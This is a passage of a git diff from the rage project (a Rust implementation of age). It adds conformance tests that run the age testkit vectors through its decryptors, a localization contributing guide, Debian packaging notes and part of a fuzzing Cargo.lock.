+#[test_case("stanza_missing_body")] +#[test_case("stanza_missing_final_line")] +#[test_case("stanza_multiple_short_lines")] +#[test_case("stanza_no_arguments")] +#[test_case("stanza_not_canonical")] +#[test_case("stanza_spurious_cr")] +#[test_case("stanza_valid_characters")] +#[test_case("stream_bad_tag")] +#[test_case("stream_bad_tag_second_chunk")] +#[test_case("stream_bad_tag_second_chunk_full")] +#[test_case("stream_empty_payload")] +#[test_case("stream_last_chunk_empty")] +#[test_case("stream_last_chunk_full")] +#[test_case("stream_last_chunk_full_second")] +#[test_case("stream_missing_tag")] +#[test_case("stream_no_chunks")] +#[test_case("stream_no_final")] +#[test_case("stream_no_final_full")] +#[test_case("stream_no_final_two_chunks")] +#[test_case("stream_no_final_two_chunks_full")] +#[test_case("stream_no_nonce")] +#[test_case("stream_short_chunk")] +#[test_case("stream_short_nonce")] +#[test_case("stream_short_second_chunk")] +#[test_case("stream_three_chunks")] +#[test_case("stream_trailing_garbage_long")] +#[test_case("stream_trailing_garbage_short")] +#[test_case("stream_two_chunks")] +#[test_case("stream_two_final_chunks")] +#[test_case("version_unsupported")] +#[test_case("x25519")] +#[test_case("x25519_bad_tag")] +#[test_case("x25519_extra_argument")] +#[test_case("x25519_grease")] +#[test_case("x25519_identity")] +#[test_case("x25519_long_file_key")] +#[test_case("x25519_long_share")] +#[test_case("x25519_lowercase")] +#[test_case("x25519_low_order")] +#[test_case("x25519_multiple_recipients")] +#[test_case("x25519_no_match")] +#[test_case("x25519_not_canonical_body")] +#[test_case("x25519_not_canonical_share")] +#[test_case("x25519_short_share")] +fn testkit_buffered(filename: &str) { + let testfile = TestFile::parse(filename); + let comment = format_testkit_comment(&testfile); + + match Decryptor::new_buffered(ArmoredReader::new(&testfile.age_file[..])).and_then(|d| { + if !d.is_scrypt() { + let identities = get_testkit_identities(filename, &testfile); + d.decrypt(identities.iter().map(|i| i as &dyn Identity)) + } else { + let passphrase = get_testkit_passphrase(&testfile, &comment); + let mut identity = scrypt::Identity::new(passphrase); + identity.set_max_work_factor(16); + d.decrypt(Some(&identity as _).into_iter()) + } + }) { + Ok(mut r) => { + let mut payload = vec![]; + let res = io::Read::read_to_end(&mut r, &mut payload); + check_decrypt_success(filename, testfile, &comment, res, &payload); + } + Err(e) => check_decrypt_error(filename, testfile, e), + } +} + +#[test_case("armor")] +#[test_case("armor_crlf")] +#[test_case("armor_empty_line_begin")] +#[test_case("armor_empty_line_end")] +#[test_case("armor_eol_between_padding")] +#[test_case("armor_full_last_line")] +#[test_case("armor_garbage_encoded")] +#[test_case("armor_garbage_leading")] +#[test_case("armor_garbage_trailing")] +#[test_case("armor_header_crlf")] +#[test_case("armor_headers")] +#[test_case("armor_invalid_character_header")] +#[test_case("armor_invalid_character_payload")] +#[test_case("armor_long_line")] +#[test_case("armor_lowercase")] +#[test_case("armor_no_end_line")] +#[test_case("armor_no_eol")] +#[test_case("armor_no_match")] +#[test_case("armor_no_padding")] +#[test_case("armor_not_canonical")] +#[test_case("armor_pgp_checksum")] +#[test_case("armor_short_line")] +#[test_case("armor_whitespace_begin")] +#[test_case("armor_whitespace_end")] +#[test_case("armor_whitespace_eol")] +#[test_case("armor_whitespace_last_line")] +#[test_case("armor_whitespace_line_start")] +#[test_case("armor_whitespace_outside")] +#[test_case("armor_wrong_type")] +#[test_case("header_crlf")] +#[test_case("hmac_bad")] +#[test_case("hmac_extra_space")] +#[test_case("hmac_garbage")] +#[test_case("hmac_missing")] +#[test_case("hmac_no_space")] +#[test_case("hmac_not_canonical")] +#[test_case("hmac_trailing_space")] +#[test_case("hmac_truncated")] +#[test_case("scrypt")] +#[test_case("scrypt_and_x25519")] +#[test_case("scrypt_bad_tag")] +#[test_case("scrypt_double")] +#[test_case("scrypt_extra_argument")] +#[test_case("scrypt_long_file_key")] +#[test_case("scrypt_no_match")] +#[test_case("scrypt_not_canonical_body")] +#[test_case("scrypt_not_canonical_salt")] +#[test_case("scrypt_salt_long")] +#[test_case("scrypt_salt_missing")] +#[test_case("scrypt_salt_short")] +#[test_case("scrypt_uppercase")] +#[test_case("scrypt_work_factor_23")] +#[test_case("scrypt_work_factor_hex")] +#[test_case("scrypt_work_factor_leading_garbage")] +#[test_case("scrypt_work_factor_leading_plus")] +#[test_case("scrypt_work_factor_leading_zero_decimal")] +#[test_case("scrypt_work_factor_leading_zero_octal")] +#[test_case("scrypt_work_factor_missing")] +#[test_case("scrypt_work_factor_negative")] +#[test_case("scrypt_work_factor_overflow")] +#[test_case("scrypt_work_factor_trailing_garbage")] +#[test_case("scrypt_work_factor_wrong")] +#[test_case("scrypt_work_factor_zero")] +#[test_case("stanza_bad_start")] +#[test_case("stanza_base64_padding")] +#[test_case("stanza_empty_argument")] +#[test_case("stanza_empty_body")] +#[test_case("stanza_empty_last_line")] +#[test_case("stanza_invalid_character")] +#[test_case("stanza_long_line")] +#[test_case("stanza_missing_body")] +#[test_case("stanza_missing_final_line")] +#[test_case("stanza_multiple_short_lines")] +#[test_case("stanza_no_arguments")] +#[test_case("stanza_not_canonical")] +#[test_case("stanza_spurious_cr")] +#[test_case("stanza_valid_characters")] +#[test_case("stream_bad_tag")] +#[test_case("stream_bad_tag_second_chunk")] +#[test_case("stream_bad_tag_second_chunk_full")] +#[test_case("stream_empty_payload")] +#[test_case("stream_last_chunk_empty")] +#[test_case("stream_last_chunk_full")] +#[test_case("stream_last_chunk_full_second")] +#[test_case("stream_missing_tag")] +#[test_case("stream_no_chunks")] +#[test_case("stream_no_final")] +#[test_case("stream_no_final_full")] +#[test_case("stream_no_final_two_chunks")] +#[test_case("stream_no_final_two_chunks_full")] +#[test_case("stream_no_nonce")] +#[test_case("stream_short_chunk")] +#[test_case("stream_short_nonce")] +#[test_case("stream_short_second_chunk")] +#[test_case("stream_three_chunks")] +#[test_case("stream_trailing_garbage_long")] +#[test_case("stream_trailing_garbage_short")] +#[test_case("stream_two_chunks")] +#[test_case("stream_two_final_chunks")] +#[test_case("version_unsupported")] +#[test_case("x25519")] +#[test_case("x25519_bad_tag")] +#[test_case("x25519_extra_argument")] +#[test_case("x25519_grease")] +#[test_case("x25519_identity")] +#[test_case("x25519_long_file_key")] +#[test_case("x25519_long_share")] +#[test_case("x25519_lowercase")] +#[test_case("x25519_low_order")] +#[test_case("x25519_multiple_recipients")] +#[test_case("x25519_no_match")] +#[test_case("x25519_not_canonical_body")] +#[test_case("x25519_not_canonical_share")] +#[test_case("x25519_short_share")] +#[tokio::test] +async fn testkit_async(filename: &str) { + let testfile = TestFile::parse(filename); + let comment = format_testkit_comment(&testfile); + + match Decryptor::new_async(ArmoredReader::from_async_reader(&testfile.age_file[..])) + .await + .and_then(|d| { + if !d.is_scrypt() { + let identities = get_testkit_identities(filename, &testfile); + d.decrypt_async(identities.iter().map(|i| i as &dyn Identity)) + } else { + let passphrase = get_testkit_passphrase(&testfile, &comment); + let mut identity = scrypt::Identity::new(passphrase); + identity.set_max_work_factor(16); + d.decrypt_async(Some(&identity as _).into_iter()) + } + }) { + Ok(mut r) => { + let mut payload = vec![]; + let res = r.read_to_end(&mut payload).await; + check_decrypt_success(filename, testfile, &comment, res, &payload); + } + Err(e) => check_decrypt_error(filename, testfile, e), + } +} + +#[test_case("armor")] +#[test_case("armor_crlf")] +#[test_case("armor_empty_line_begin")] +#[test_case("armor_empty_line_end")] +#[test_case("armor_eol_between_padding")] +#[test_case("armor_full_last_line")] +#[test_case("armor_garbage_encoded")] +#[test_case("armor_garbage_leading")] +#[test_case("armor_garbage_trailing")] +#[test_case("armor_header_crlf")] +#[test_case("armor_headers")] +#[test_case("armor_invalid_character_header")] +#[test_case("armor_invalid_character_payload")] +#[test_case("armor_long_line")] +#[test_case("armor_lowercase")] +#[test_case("armor_no_end_line")] +#[test_case("armor_no_eol")] +#[test_case("armor_no_match")] +#[test_case("armor_no_padding")] +#[test_case("armor_not_canonical")] +#[test_case("armor_pgp_checksum")] +#[test_case("armor_short_line")] +#[test_case("armor_whitespace_begin")] +#[test_case("armor_whitespace_end")] +#[test_case("armor_whitespace_eol")] +#[test_case("armor_whitespace_last_line")] +#[test_case("armor_whitespace_line_start")] +#[test_case("armor_whitespace_outside")] +#[test_case("armor_wrong_type")] +#[test_case("header_crlf")] +#[test_case("hmac_bad")] +#[test_case("hmac_extra_space")] +#[test_case("hmac_garbage")] +#[test_case("hmac_missing")] +#[test_case("hmac_no_space")] +#[test_case("hmac_not_canonical")] +#[test_case("hmac_trailing_space")] +#[test_case("hmac_truncated")] +#[test_case("scrypt")] +#[test_case("scrypt_and_x25519")] +#[test_case("scrypt_bad_tag")] +#[test_case("scrypt_double")] +#[test_case("scrypt_extra_argument")] +#[test_case("scrypt_long_file_key")] +#[test_case("scrypt_no_match")] +#[test_case("scrypt_not_canonical_body")] +#[test_case("scrypt_not_canonical_salt")] +#[test_case("scrypt_salt_long")] +#[test_case("scrypt_salt_missing")] +#[test_case("scrypt_salt_short")] +#[test_case("scrypt_uppercase")] +#[test_case("scrypt_work_factor_23")] +#[test_case("scrypt_work_factor_hex")] +#[test_case("scrypt_work_factor_leading_garbage")] +#[test_case("scrypt_work_factor_leading_plus")] +#[test_case("scrypt_work_factor_leading_zero_decimal")] +#[test_case("scrypt_work_factor_leading_zero_octal")] +#[test_case("scrypt_work_factor_missing")] +#[test_case("scrypt_work_factor_negative")] +#[test_case("scrypt_work_factor_overflow")] +#[test_case("scrypt_work_factor_trailing_garbage")] +#[test_case("scrypt_work_factor_wrong")] +#[test_case("scrypt_work_factor_zero")] +#[test_case("stanza_bad_start")] +#[test_case("stanza_base64_padding")] +#[test_case("stanza_empty_argument")] +#[test_case("stanza_empty_body")] +#[test_case("stanza_empty_last_line")] +#[test_case("stanza_invalid_character")] +#[test_case("stanza_long_line")] +#[test_case("stanza_missing_body")] +#[test_case("stanza_missing_final_line")] +#[test_case("stanza_multiple_short_lines")] +#[test_case("stanza_no_arguments")] +#[test_case("stanza_not_canonical")] +#[test_case("stanza_spurious_cr")] +#[test_case("stanza_valid_characters")] +#[test_case("stream_bad_tag")] +#[test_case("stream_bad_tag_second_chunk")] +#[test_case("stream_bad_tag_second_chunk_full")] +#[test_case("stream_empty_payload")] +#[test_case("stream_last_chunk_empty")] +#[test_case("stream_last_chunk_full")] +#[test_case("stream_last_chunk_full_second")] +#[test_case("stream_missing_tag")] +#[test_case("stream_no_chunks")] +#[test_case("stream_no_final")] +#[test_case("stream_no_final_full")] +#[test_case("stream_no_final_two_chunks")] +#[test_case("stream_no_final_two_chunks_full")] +#[test_case("stream_no_nonce")] +#[test_case("stream_short_chunk")] +#[test_case("stream_short_nonce")] +#[test_case("stream_short_second_chunk")] +#[test_case("stream_three_chunks")] +#[test_case("stream_trailing_garbage_long")] +#[test_case("stream_trailing_garbage_short")] +#[test_case("stream_two_chunks")] +#[test_case("stream_two_final_chunks")] +#[test_case("version_unsupported")] +#[test_case("x25519")] +#[test_case("x25519_bad_tag")] +#[test_case("x25519_extra_argument")] +#[test_case("x25519_grease")] +#[test_case("x25519_identity")] +#[test_case("x25519_long_file_key")] +#[test_case("x25519_long_share")] +#[test_case("x25519_lowercase")] +#[test_case("x25519_low_order")] +#[test_case("x25519_multiple_recipients")] +#[test_case("x25519_no_match")] +#[test_case("x25519_not_canonical_body")] +#[test_case("x25519_not_canonical_share")] +#[test_case("x25519_short_share")] +#[tokio::test] +async fn testkit_async_buffered(filename: &str) { + let testfile = TestFile::parse(filename); + let comment = format_testkit_comment(&testfile); + + match Decryptor::new_async_buffered(ArmoredReader::from_async_reader(&testfile.age_file[..])) + .await + .and_then(|d| { + if !d.is_scrypt() { + let identities = get_testkit_identities(filename, &testfile); + d.decrypt_async(identities.iter().map(|i| i as &dyn Identity)) + } else { + let passphrase = get_testkit_passphrase(&testfile, &comment); + let mut identity = scrypt::Identity::new(passphrase); + identity.set_max_work_factor(16); + d.decrypt_async(Some(&identity as _).into_iter()) + } + }) { + Ok(mut r) => { + let mut payload = vec![]; + let res = r.read_to_end(&mut payload).await; + check_decrypt_success(filename, testfile, &comment, res, &payload); + } + Err(e) => check_decrypt_error(filename, testfile, e), + } +} + +fn format_testkit_comment(testfile: &TestFile) -> String { + testfile + .comment + .as_ref() + .map(|c| format!(" ({})", c)) + .unwrap_or_default() +} + +fn get_testkit_identities(filename: &str, testfile: &TestFile) -> Vec { + assert_eq!( + testfile.passphrases.len(), + // `scrypt_uppercase` uses the stanza tag `Scrypt` instead of `scrypt`, so + // even though there is a valid passphrase, the decryptor treats it as a + // different recipient stanza kind. + usize::from(filename == "scrypt_uppercase") + ); + testfile + .identities + .iter() + .map(|s| s.as_str()) + .map(x25519::Identity::from_str) + .collect::>() + .unwrap() +} + +fn get_testkit_passphrase(testfile: &TestFile, comment: &str) -> SecretString { + assert_eq!(testfile.identities.len(), 0); + match testfile.passphrases.len() { + 0 => panic!("Test file is missing passphrase{}", comment), + 1 => testfile.passphrases.get(0).cloned().unwrap().into(), + n => panic!("Too many passphrases ({}){}", n, comment), + } +} + +fn check_decrypt_success( + filename: &str, + testfile: TestFile, + comment: &str, + res: io::Result, + payload: &[u8], +) { + match (res, testfile.expect) { + (Ok(_), Expect::Success { payload_sha256 }) => { + assert_eq!(Sha256::digest(payload)[..], payload_sha256); + } + // These testfile failures are expected, because we maintains support for + // parsing legacy age stanzas without an explicit short final line. + (Ok(_), Expect::HeaderFailure) + if ["stanza_missing_body", "stanza_missing_final_line"].contains(&filename) => {} + (Err(e), Expect::ArmorFailure) => { + assert_eq!(e.kind(), io::ErrorKind::InvalidData); + assert_eq!( + e.into_inner().map(|inner| inner.is::()), + Some(true) + ); + } + (Err(e), Expect::PayloadFailure { payload_sha256 }) => { + assert_eq!( + e.kind(), + if [ + "stream_no_chunks", + "stream_no_final_full", + "stream_no_final_two_chunks_full", + ] + .contains(&filename) + { + io::ErrorKind::UnexpectedEof + } else { + io::ErrorKind::InvalidData + } + ); + // The tests with this expectation are checking that no partial STREAM + // blocks are written to the payload. + assert_eq!(Sha256::digest(payload)[..], payload_sha256); + } + (actual, expected) => panic!( + "Expected {:?}, got {}{}", + expected, + if actual.is_ok() { + format!("payload '{}'", String::from_utf8_lossy(payload)) + } else { + format!("{:?}", actual) + }, + comment, + ), + } +} + +fn check_decrypt_error(filename: &str, testfile: TestFile, e: DecryptError) { + match e { + DecryptError::InvalidHeader => { + // `ArmoredReader` is a transparent wrapper around an `io::Read` and + // only runs de-armoring if it detects the expected begin marker. + // This leaves a hole in error detection: if the begin marker is invalid, + // then the test case will be rejected by the inner age header parsing + // with `DecryptError::InvalidHeader`. However, we can't simply treat + // these as "armor failed" because there are test cases where the armor is + // valid but the contained age file is invalid. We hard-code the list of + // test cases with invalid begin markers to cover this hole. + if testfile.armored + && [ + "armor_garbage_leading", + "armor_lowercase", + "armor_whitespace_begin", + "armor_wrong_type", + ] + .contains(&filename) + { + assert_eq!(testfile.expect, Expect::ArmorFailure); + } else if testfile.armored && ["armor_whitespace_outside"].contains(&filename) { + // This decryption error is expected, because we do not support parsing + // armored files with leading whitespace (due to how we detect armoring). + } else { + assert_eq!(testfile.expect, Expect::HeaderFailure); + } + } + DecryptError::Io(e) => { + let kind = e.kind(); + if e.into_inner().map(|inner| inner.is::()) == Some(true) { + assert_eq!(kind, io::ErrorKind::InvalidData); + assert_eq!(testfile.expect, Expect::ArmorFailure); + } else { + assert_eq!(testfile.expect, Expect::HeaderFailure); + } + } + DecryptError::ExcessiveWork { .. } | DecryptError::UnknownFormat => { + assert_eq!(testfile.expect, Expect::HeaderFailure) + } + DecryptError::InvalidMac => assert_eq!(testfile.expect, Expect::HmacFailure), + DecryptError::DecryptionFailed | DecryptError::NoMatchingKeys => { + assert_eq!(testfile.expect, Expect::NoMatch) + } + DecryptError::KeyDecryptionFailed => todo!(), + #[cfg(feature = "plugin")] + DecryptError::MissingPlugin { .. } => todo!(), + #[cfg(feature = "plugin")] + DecryptError::Plugin(_) => todo!(), + } +} + +#[derive(Debug, PartialEq, Eq)] +enum Expect { + Success { payload_sha256: [u8; 32] }, + ArmorFailure, + HeaderFailure, + HmacFailure, + NoMatch, + PayloadFailure { payload_sha256: [u8; 32] }, +} + +struct TestFile { + expect: Expect, + identities: Vec, + passphrases: Vec, + armored: bool, + comment: Option, + age_file: Vec, +} + +impl TestFile { + fn parse(filename: &str) -> Self { + let file = File::open(format!("./tests/testdata/testkit/{}", filename)).unwrap(); + let mut r = BufReader::new(file); + let mut line = String::new(); + + fn data<'l>(line: &'l str, prefix: &str) -> &'l str { + line.strip_prefix(prefix).unwrap().trim() + } + + let expect = { + r.read_line(&mut line).unwrap(); + match data(&line, "expect:") { + "success" => { + line.clear(); + r.read_line(&mut line).unwrap(); + let payload = data(&line, "payload:"); + Expect::Success { + payload_sha256: hex::decode(payload).unwrap().try_into().unwrap(), + } + } + "armor failure" => Expect::ArmorFailure, + "header failure" => Expect::HeaderFailure, + "payload failure" => { + line.clear(); + r.read_line(&mut line).unwrap(); + let payload = data(&line, "payload:"); + Expect::PayloadFailure { + payload_sha256: hex::decode(payload).unwrap().try_into().unwrap(), + } + } + "HMAC failure" => Expect::HmacFailure, + "no match" => Expect::NoMatch, + e => panic!("Unknown testkit failure '{}'", e), + } + }; + + let _file_key = { + line.clear(); + r.read_line(&mut line).unwrap(); + hex::decode(data(&line, "file key: ")).unwrap() + }; + + let mut identities = vec![]; + let mut passphrases = vec![]; + let mut armored = false; + let mut comment = None; + loop { + line.clear(); + r.read_line(&mut line).unwrap(); + if line.trim().is_empty() { + break; + } + + let (prefix, data) = line.trim().split_once(": ").unwrap(); + match prefix { + "identity" => identities.push(data.to_owned()), + "passphrase" => passphrases.push(data.to_owned()), + "armored" => armored = data == "yes", + "comment" => comment = Some(data.to_owned()), + _ => panic!("Unknown testkit metadata '{}'", prefix), + } + } + + let mut age_file = vec![]; + r.read_to_end(&mut age_file).unwrap(); + + Self { + expect, + identities, + passphrases, + armored, + comment, + age_file, + } + } +} diff --git a/lib/rage/docs/CONTRIBUTING.md b/lib/rage/docs/CONTRIBUTING.md new file mode 100644 index 0000000..5e84cb3 --- /dev/null +++ b/lib/rage/docs/CONTRIBUTING.md @@ -0,0 +1,47 @@ +# How to contribute to `rage` + +## Localization + +Locale files are stored in the `age/i18n/` and `rage/i18n/` directories. Check +there to see if your locale already exists! + +We use [Fluent](https://projectfluent.org/) for localization; check that website +for details about the format. In general, strings look like this: + +```fluent +some-unique-identifier = Translate the content on this side of the '=' symbol. +another-unique-identifier = + This is a multiline string that can contain one or more paragraphs. Like + above, the 'another-unique-identifier =' part is not translated, but this + text is. + + Individual paragraphs should be line-wrapped at roughly the same number of + characters as the corresponding English text, so that it looks roughly the + same. Remember that {-terms} and {$variables} won't necessarily be the same + length once filled in. +``` + +To update strings for an existing locale `your-locale`: +- Compare `age/i18n/en-US/age.ftl` with `age/i18n/your-locale/age.ftl`, and copy + over any missing strings (look for unique identifiers that don't appear in the + file for `your-locale`). +- Compare `rage/i18n/en-US/age.ftl` with `rage/i18n/your-locale/age.ftl`, and + copy over any missing strings. +- Edit `age/i18n/your-locale/age.ftl` and `rage/i18n/your-locale/age.ftl` to + replace the English text with the appropriate translations for your locale. + +To translate strings into a new locale `your-locale`: +- Create the directories `age/i18n/your-locale/` and `rage/i18n/your-locale/`. +- Copy `age/i18n/en-US/age.ftl` to `age/i18n/your-locale/age.ftl`. +- Copy `rage/i18n/en-US/age.ftl` to `rage/i18n/your-locale/age.ftl`. +- Edit `age/i18n/your-locale/age.ftl` and `rage/i18n/your-locale/age.ftl` to + replace the English text with the appropriate translations for your locale. + +To test locally, use `cargo run --bin BINARY_NAME -- ARGUMENTS`. If you don't +have `your-locale` enabled globally, set the `LANG` environment variable to +force it: +``` +$ LANG=your-locale cargo run --bin rage -- --help +$ LANG=your-locale cargo run --bin rage -- ARGUMENTS +$ LANG=your-locale cargo run --bin rage-keygen -- --help +``` diff --git a/lib/rage/docs/debian.md b/lib/rage/docs/debian.md new file mode 100644 index 0000000..6312543 --- /dev/null +++ b/lib/rage/docs/debian.md @@ -0,0 +1,13 @@ +# Building Debian packages for rage + +## Requirements + +``` +cargo install cargo-deb +``` + +## Process + +``` +cargo deb --package rage +``` diff --git a/lib/rage/fuzz-afl/.gitignore b/lib/rage/fuzz-afl/.gitignore new file mode 100644 index 0000000..665b7e1 --- /dev/null +++ b/lib/rage/fuzz-afl/.gitignore @@ -0,0 +1,3 @@ +target +in +out diff --git a/lib/rage/fuzz-afl/Cargo.lock b/lib/rage/fuzz-afl/Cargo.lock new file mode 100644 index 0000000..8622c91 --- /dev/null +++ b/lib/rage/fuzz-afl/Cargo.lock @@ -0,0 +1,1237 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "afl" +version = "0.15.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80bb240a3b9ff18002142c1a736e98046461d51a694d687c3e7329b456ab0fe4" +dependencies = [ + "home", + "libc", + "rustc_version", + "xdg", +] + +[[package]] +name = "age" +version = "0.11.0" +dependencies = [ + "age-core", + "base64", + "bech32", + "chacha20poly1305", + "cookie-factory", + "hmac", + "i18n-embed", + "i18n-embed-fl", + "lazy_static", + "nom", + "pin-project", + "rand", + "rust-embed", + "scrypt", + "sha2", + "subtle", + "x25519-dalek", + "zeroize", +] + +[[package]] +name = "age-core" +version = "0.11.0" +dependencies = [ + "base64", + "chacha20poly1305", + "cookie-factory", + "hkdf", + "io_tee", + "nom", + "rand", + "secrecy", + "sha2", +] + +[[package]] +name = "age-fuzz-afl" +version = "0.0.0" +dependencies = [ + "afl", + "age", +] + +[[package]] +name = "arc-swap" +version = "1.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69f7f8c3906b62b754cd5326047894316021dcfe5a194c8ea52bdd94934a3457" + +[[package]] +name = "autocfg" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "basic-toml" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "823388e228f614e9558c6804262db37960ec8821856535f5c3f59913140558f8" +dependencies = [ + "serde", +] + +[[package]] +name = "bech32" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d86b93f97252c47b41663388e6d155714a9d0c398b99f1005cbc5f978b29f445" + +[[package]] +name = "bitflags" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "chacha20poly1305" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10cd79432192d1c0f4e1a0fef9527696cc039165d729fb41b3f4f4f354c2dc35" +dependencies = [ + "aead", + "chacha20", + "cipher", + "poly1305", + "zeroize", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", + "zeroize", +] + +[[package]] +name = "cookie-factory" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9885fa71e26b8ab7855e2ec7cae6e9b380edff76cd052e07c683a0319d51b3a2" +dependencies = [ + "futures", +] + +[[package]] +name = "cpufeatures" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "608697df725056feaccfa42cffdaeeec3fccc4ffc38358ecd19b243e716a78e0" +dependencies = [ + "libc", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "dashmap" +version = "6.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5041cc499144891f3790297212f32a74fb938e5136a14943f338ef9e0ae276cf" +dependencies = [ + "cfg-if", + "crossbeam-utils", + "hashbrown", + "lock_api", + "once_cell", + "parking_lot_core", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "find-crate" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59a98bbaacea1c0eb6a0876280051b892eb73594fd90cf3b20e9c817029c57d2" +dependencies = [ + "toml", +] + +[[package]] +name = "fluent" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb74634707bebd0ce645a981148e8fb8c7bccd4c33c652aeffd28bf2f96d555a" +dependencies = [ + "fluent-bundle", + "unic-langid", +] + +[[package]] +name = "fluent-bundle" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fe0a21ee80050c678013f82edf4b705fe2f26f1f9877593d13198612503f493" +dependencies = [ + "fluent-langneg", + "fluent-syntax", + "intl-memoizer", + "intl_pluralrules", + "rustc-hash", + "self_cell 0.10.3", + "smallvec", + "unic-langid", +] + +[[package]] +name = "fluent-langneg" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c4ad0989667548f06ccd0e306ed56b61bd4d35458d54df5ec7587c0e8ed5e94" +dependencies = [ + "unic-langid", +] + +[[package]] +name = "fluent-syntax" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a530c4694a6a8d528794ee9bbd8ba0122e779629ac908d15ad5a7ae7763a33d" +dependencies = [ + "thiserror", +] + +[[package]] +name = "futures" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-macro" +version = 